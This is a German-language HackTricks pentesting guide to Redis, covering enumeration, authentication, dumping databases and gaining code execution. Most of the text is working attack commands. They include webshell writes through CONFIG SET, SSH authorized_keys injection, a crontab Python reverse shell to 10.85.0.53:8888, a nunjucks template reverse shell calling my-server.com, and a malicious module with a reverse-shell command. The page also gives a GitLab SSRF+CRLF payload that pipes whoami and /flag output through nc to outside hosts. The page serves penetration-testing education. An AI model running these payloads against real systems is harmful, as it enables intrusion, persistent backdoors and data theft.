6379 - Pentesting Redis

Reading time: 12 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks

Grundlegende Informationen

Von den Dokumenten: Redis ist ein Open-Source (BSD-lizenziert), in-memory Datenstruktur-Speicher, der als Datenbank, Cache und Nachrichtenbroker verwendet wird.

Standardmäßig verwendet Redis ein textbasiertes Protokoll, aber Sie müssen beachten, dass es auch ssl/tls implementieren kann. Erfahren Sie, wie Sie Redis mit ssl/tls hier ausführen.

Standardport: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Automatische Enumeration

Einige automatisierte Tools, die helfen können, Informationen von einer Redis-Instanz zu erhalten:

bash
nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

Manuelle Enumeration

Redis ist ein textbasiertes Protokoll, Sie können einfach den Befehl in einem Socket senden und die zurückgegebenen Werte sind lesbar. Denken Sie auch daran, dass Redis mit ssl/tls betrieben werden kann (aber das ist sehr ungewöhnlich).

In einer regulären Redis-Instanz können Sie einfach mit nc verbinden oder Sie könnten auch redis-cli verwenden:

bash
nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

Der erste Befehl, den Sie ausprobieren könnten, ist info. Er kann Ausgaben mit Informationen über die Redis-Instanz oder etwas wie das Folgende zurückgeben:

-NOAUTH Authentication required.

In diesem letzten Fall bedeutet dies, dass Sie gültige Anmeldeinformationen benötigen, um auf die Redis-Instanz zuzugreifen.

Redis-Authentifizierung

Standardmäßig kann Redis ohne Anmeldeinformationen zugegriffen werden. Es kann jedoch konfiguriert werden, um nur Passwort oder Benutzername + Passwort zu unterstützen.
Es ist möglich, ein Passwort in der redis.conf-Datei mit dem Parameter requirepass oder vorübergehend bis der Dienst neu gestartet wird, indem man sich mit ihm verbindet und Folgendes ausführt: config set requirepass p@ss$12E45.
Außerdem kann ein Benutzername im Parameter masteruser innerhalb der redis.conf-Datei konfiguriert werden.

note

Wenn nur ein Passwort konfiguriert ist, wird der verwendete Benutzername "default" sein.
Beachten Sie auch, dass es keine Möglichkeit gibt, extern zu erkennen, ob Redis nur mit Passwort oder Benutzername+Passwort konfiguriert wurde.

In Fällen wie diesem müssen Sie gültige Anmeldeinformationen finden, um mit Redis zu interagieren, sodass Sie versuchen könnten, es brute-force anzugreifen.
Falls Sie gültige Anmeldeinformationen gefunden haben, müssen Sie die Sitzung authentifizieren, nachdem Sie die Verbindung mit dem Befehl hergestellt haben:

bash
AUTH <username> <password>

Gültige Anmeldeinformationen werden mit: +OK beantwortet

Authentifizierte Aufzählung

Wenn der Redis-Server anonyme Verbindungen erlaubt oder wenn Sie gültige Anmeldeinformationen erhalten haben, können Sie den Aufzählungsprozess für den Dienst mit den folgenden Befehlen starten:

bash
INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

Andere Redis-Befehle finden Sie hier und hier.

Beachten Sie, dass die Redis-Befehle einer Instanz umbenannt oder in der redis.conf Datei entfernt werden können. Zum Beispiel wird diese Zeile den Befehl FLUSHDB entfernen:

rename-command FLUSHDB ""

Mehr über die sichere Konfiguration eines Redis-Dienstes hier: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

Sie können auch in Echtzeit die ausgeführten Redis-Befehle überwachen mit dem Befehl monitor oder die 25 langsamsten Abfragen mit slowlog get 25 abrufen.

Finden Sie weitere interessante Informationen über weitere Redis-Befehle hier: https://lzone.de/cheat-sheet/Redis

Datenbank dumpen

Innerhalb von Redis sind die Datenbanken Zahlen, die bei 0 beginnen. Sie können herausfinden, ob jemand verwendet wird, indem Sie die Ausgabe des Befehls info im Abschnitt "Keyspace" überprüfen:

Oder Sie können einfach alle Keyspaces (Datenbanken) mit folgendem Befehl abrufen:

INFO keyspace

In diesem Beispiel werden die Datenbanken 0 und 1 verwendet. Datenbank 0 enthält 4 Schlüssel und Datenbank 1 enthält 1. Standardmäßig verwendet Redis Datenbank 0. Um beispielsweise Datenbank 1 zu dumpen, müssen Sie Folgendes tun:

bash
SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

Falls Sie den folgenden Fehler -WRONGTYPE Operation against a key holding the wrong kind of value erhalten, während Sie GET <KEY> ausführen, liegt das daran, dass der Schlüssel möglicherweise etwas anderes als eine Zeichenkette oder eine Ganzzahl ist und einen speziellen Operator benötigt, um ihn anzuzeigen.

Um den Typ des Schlüssels zu kennen, verwenden Sie den Befehl TYPE, Beispiel unten für Listen- und Hash-Schlüssel.

bash
TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

Dumpen Sie die Datenbank mit npm redis-dump oder python redis-utils

Redis RCE

Interaktive Shell

redis-rogue-server kann automatisch eine interaktive Shell oder eine Reverse-Shell in Redis(<=5.0.5) erhalten.

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

Info von hier. Sie müssen den Pfad des Webseitenordners kennen:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

Wenn der Webshell-Zugriff fehlschlägt, können Sie die Datenbank nach der Sicherung leeren und es erneut versuchen. Denken Sie daran, die Datenbank wiederherzustellen.

Template Webshell

Wie im vorherigen Abschnitt könnten Sie auch eine HTML-Vorlagendatei überschreiben, die von einer Template-Engine interpretiert wird, und eine Shell erhalten.

Zum Beispiel, folgend diesem Bericht, können Sie sehen, dass der Angreifer eine rev shell in einem HTML injiziert hat, das von der nunjucks Template-Engine interpretiert wird:

javascript
{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

warning

Beachten Sie, dass mehrere Template-Engines die Templates im Speicher cachen, sodass selbst wenn Sie sie überschreiben, das neue nicht ausgeführt wird. In diesen Fällen hat der Entwickler entweder das automatische Neuladen aktiviert oder Sie müssen einen DoS über den Dienst durchführen (und erwarten, dass er automatisch neu gestartet wird).

SSH

Beispiel von hier

Bitte beachten Sie, dass das Ergebnis von config get dir nach anderen manuell ausgeführten Exploit-Befehlen geändert werden kann. Es wird empfohlen, es direkt nach dem Login in Redis auszuführen. In der Ausgabe von config get dir könnten Sie das Home des Redis-Benutzers finden (normalerweise /var/lib/redis oder /home/redis/.ssh), und wenn Sie dies wissen, wissen Sie, wo Sie die Datei authenticated_users schreiben können, um über ssh mit dem Benutzer redis zuzugreifen. Wenn Sie das Home eines anderen gültigen Benutzers kennen, bei dem Sie Schreibberechtigungen haben, können Sie dies ebenfalls ausnutzen:

  1. Generieren Sie ein ssh Public-Private-Key-Paar auf Ihrem PC: ssh-keygen -t rsa
  2. Schreiben Sie den öffentlichen Schlüssel in eine Datei: (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
  3. Importieren Sie die Datei in Redis: cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
  4. Speichern Sie den öffentlichen Schlüssel in der authorized_keys-Datei auf dem Redis-Server:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. Schließlich können Sie ssh zum Redis-Server mit dem privaten Schlüssel: ssh -i id_rsa redis@10.85.0.52

Diese Technik ist hier automatisiert: https://github.com/Avinash-acid/Redis-Server-Exploit

Zusätzlich können Systembenutzer auch entdeckt werden, indem Sie mit config set dir /home/USER überprüfen, und nach Bestätigung kann ein neues authorized_keys in /home/USER/.ssh/authorized_keys geschrieben werden. Verwenden Sie redis-rce-ssh, um dies mit einer Benutzernamen-Wortliste zu bruteforcen und authorized_keys zu überschreiben.

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

Das letzte Beispiel ist für Ubuntu, für Centos sollte der obige Befehl sein: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

Diese Methode kann auch verwendet werden, um Bitcoin zu verdienen :yam

Redis-Modul laden

  1. Befolgen Sie die Anweisungen von https://github.com/n0b0dyCN/RedisModules-ExecuteCommand, um ein Redis-Modul zu kompilieren, um beliebige Befehle auszuführen.
  2. Dann benötigen Sie eine Möglichkeit, das kompilierte Modul hochzuladen.
  3. Laden Sie das hochgeladene Modul zur Laufzeit mit MODULE LOAD /path/to/mymodule.so.
  4. Listen Sie die geladenen Module auf, um zu überprüfen, ob es korrekt geladen wurde: MODULE LIST.
  5. Führen Sie Befehle aus:
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. Entladen Sie das Modul, wann immer Sie möchten: MODULE UNLOAD mymodule.

LUA-Sandbox-Umgehung

Hier können Sie sehen, dass Redis den Befehl EVAL verwendet, um Lua-Code in einer Sandbox auszuführen. Im verlinkten Beitrag können Sie sehen, wie man es missbraucht, indem man die dofile-Funktion verwendet, aber offensichtlich ist dies nicht mehr möglich. Wenn Sie die Lua-Sandbox jedoch umgehen können, könnten Sie beliebige Befehle auf dem System ausführen. Außerdem können Sie im selben Beitrag einige Optionen sehen, um DoS zu verursachen.

Einige CVEs zur Umgehung von LUA:

Master-Slave-Modul

​Der Master-Redis synchronisiert alle Operationen automatisch mit dem Slave-Redis, was bedeutet, dass wir die verwundbare Redis als Slave-Redis betrachten können, das mit dem Master-Redis verbunden ist, den wir kontrollieren, und dann können wir den Befehl an unser eigenes Redis eingeben.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF mit Redis

Wenn Sie Klartext-Anfragen an Redis senden können, können Sie mit ihm kommunizieren, da Redis die Anfrage zeilenweise liest und nur mit Fehlern auf die Zeilen antwortet, die es nicht versteht:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

Daher, wenn Sie eine SSRF vuln auf einer Website finden und Sie einige Headers (vielleicht mit einer CRLF vuln) oder POST-Parameter kontrollieren können, werden Sie in der Lage sein, beliebige Befehle an Redis zu senden.

Beispiel: Gitlab SSRF + CRLF zu Shell

In Gitlab11.4.7 wurde eine SSRF-Schwachstelle und eine CRLF entdeckt. Die SSRF-Schwachstelle befand sich in der Importprojekt von URL-Funktionalität, als ein neues Projekt erstellt wurde, und erlaubte den Zugriff auf beliebige IPs in der Form [0:0:0:0:0:ffff:127.0.0.1] (dies wird auf 127.0.0.1 zugreifen), und die CRLF-Vuln wurde ausgenutzt, indem einfach %0D%0A-Zeichen zur URL hinzugefügt wurden.

Daher war es möglich, diese Schwachstellen auszunutzen, um mit der Redis-Instanz zu kommunizieren, die Warteschlangen von gitlab verwaltet, und diese Warteschlangen auszunutzen, um Codeausführung zu erhalten. Die Payload für den Missbrauch der Redis-Warteschlange ist:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

Und die URL-Encode-Anfrage missbraucht SSRF und CRLF, um ein whoami auszuführen und die Ausgabe über nc zurückzusenden, ist:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

aus irgendeinem Grund (wie beim Autor von https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ woher diese Informationen stammen) funktionierte die Ausnutzung mit dem git-Schema und nicht mit dem http-Schema.

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Unterstützen Sie HackTricks